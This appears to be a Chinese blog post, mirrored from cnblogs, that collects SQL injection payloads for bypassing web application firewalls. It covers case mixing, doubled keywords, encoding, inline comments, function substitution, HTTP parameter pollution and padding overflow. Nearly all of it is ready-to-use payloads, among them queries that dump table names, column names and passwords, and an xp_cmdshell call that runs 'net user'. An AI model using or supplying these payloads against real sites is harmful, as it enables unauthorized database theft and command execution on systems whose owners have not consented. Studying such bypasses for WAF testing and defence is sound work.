zoukankan      html  css  js  c++  java
  • SQL注入过WAF思路

    基础

    大小写
    id=-1 uNIoN sELecT 1,2,3
    双写
    id=-1 UNIunionON SELselectECT 1,2,3
    编码
    id=1%252f%252a*/UNION%252f%252a /SELECT
    id=1%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1
    十六进制
    id=-1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    注释&内联注释
    id=-1 %55nION/**/%53ElecT 1,2,3
    id=-1'union%a0select pass from users#
    id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
    id=-1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3
    

    特殊符号

    + ` symbol: select `version()`;
    + +- :select+id-1+1.from users;
    + @:select@^1.from users;
    +Mysql function() as xxx
    +`、~、!、@、%、()、[]、.、-、+ 、|、%00
    'se’+’lec’+’t’
    %S%E%L%E%C%T 1
    1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
    ' or --+2=- -!!!'2
    id=1+(UnI)(oN)+(SeL)(EcT)
    

    函数替换

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    substr((select 'password'),1,1) = 0x70
    strcmp(left('password',1), 0x69) = 
    strcmp(left('password',1), 0x70) = 0
    strcmp(left('password',1), 0x71) = -1
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir() 
    

    http相关

    http参数解析
    /?id=1;select+1,2,3+from+users+where+id=1—
    /?id=1;select+1&id=2,3+from+users+where+id=1—
    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
    
    http参数分段
    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
    

    IntegrationIntegration

    id=-1+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
    ?id=-1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
    

    缓存区溢出

    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    
    参考
    https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/
    
  • 相关阅读:
    实验五——循环结构学习总结
    对象判等
    一个转行的程序员给我们的忠告,很中肯
    自定义异常类
    Python入门系列(一):感言
    Python入门系列(三):基本概念
    Python入门系列(二):环境搭建(基于Windows)
    Python入门系列(四):运算符与表达式
    JQuery前奏:特性简介
    JQuery对象与DOM对象互相转换
  • 原文地址:https://www.cnblogs.com/Yang34/p/14139164.html
Copyright © 2011-2022 走看看